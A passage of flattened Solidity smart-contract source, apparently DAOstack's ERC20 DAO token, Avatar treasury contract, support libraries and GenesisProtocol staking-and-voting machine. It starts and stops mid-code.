_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.2;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(msg.sender, _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _params, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call(_data);
emit GenericCall(_contract, _data, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
}
contract UniversalSchemeInterface {
function updateParameters(bytes32 _hashedParameters) public;
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
contract UniversalScheme is Ownable, UniversalSchemeInterface {
bytes32 public hashedParameters;
function updateParameters(
bytes32 _hashedParameters
)
public
onlyOwner
{
hashedParameters = _hashedParameters;
}
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
tempRealBase = mul(tempRealBase, tempRealBase);
}
return uint216(realResult / REAL_ONE);
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
return uint256((uint256(realA) * uint256(realB)) >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint;
using Math for uint;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
Staker storage staker = proposals[proposalId].stakers[organizations[proposal.organizationId]];
staker.vote = NO;
staker.amount = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted);
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
if (staker.amount > 0) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
uint256 totalStakes = proposal.stakes[YES].add(proposal.stakes[NO]);
if (staker.vote == YES) {
uint256 _totalStakes =
((totalStakes.mul(100 - proposal.expirationCallBountyPercentage))/100) - proposal.daoBounty;
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
} else {
rewards[0] = (staker.amount.mul(totalStakes))/totalWinningStakes;
if (organizations[proposal.organizationId] == _beneficiary) {
rewards[0] = rewards[0].sub(proposal.daoBounty);
}
}
}
staker.amount = 0;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
uint256 preBoostedVotes = proposal.preBoostedVotes[YES].add(proposal.preBoostedVotes[NO]);
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/preBoostedVotes);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if ((_score(_proposalId) > confidenceThreshold) &&
(orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS)) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return proposal.stakes[YES]/proposal.stakes[NO];
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
